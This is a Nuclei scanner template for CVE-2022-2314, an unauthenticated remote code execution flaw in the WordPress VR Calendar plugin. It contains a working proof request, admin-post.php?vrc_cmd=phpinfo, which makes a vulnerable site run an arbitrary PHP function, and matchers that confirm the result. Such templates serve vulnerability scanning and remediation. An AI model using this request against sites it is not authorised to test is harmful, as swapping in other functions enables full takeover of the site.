nuclei-templates/http/cves/2022/CVE-2022-2314.yaml

59 lines
2.1 KiB
YAML

id: CVE-2022-2314
info:
name: WordPress VR Calendar <=2.3.2 - Remote Code Execution
author: theamanrawat
severity: critical
description: |
WordPress VR Calendar plugin through 2.3.2 is susceptible to remote code execution. The plugin allows any user to execute arbitrary PHP functions on the site. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
remediation: |
Update the WordPress VR Calendar plugin to version 2.3.3 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/b22fe77c-844e-4c24-8023-014441cc1e82
- https://wordpress.org/plugins/vr-calendar-sync/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2314
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-2314
cwe-id: CWE-78,NVD-CWE-noinfo
epss-score: 0.25245
epss-percentile: 0.96214
cpe: cpe:2.3:a:vr_calendar_project:vr_calendar:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: vr_calendar_project
product: vr_calendar
framework: wordpress
tags: cve,cve2022,wordpress,wp,wp-plugin,rce,vr-calendar-sync,unauth,wpscan,vr_calendar_project
http:
- raw:
- |
GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-admin/admin-post.php?vrc_cmd=phpinfo HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "phpinfo"
- "PHP Version"
condition: and
- type: word
part: body_1
words:
- "vrc-calendar"
- type: status
status:
- 200
# digest: 490a00463044022053992ef8c3565293fe7e18b013e2f2bf5d6c235c3112d9b08643fd77c1145813022077367fb28cf7cf52ee5f03f01f6c3eced1a8aeb9111266cf10f86a07cca11bb6:922c64590222798bb761d5b6d8e72950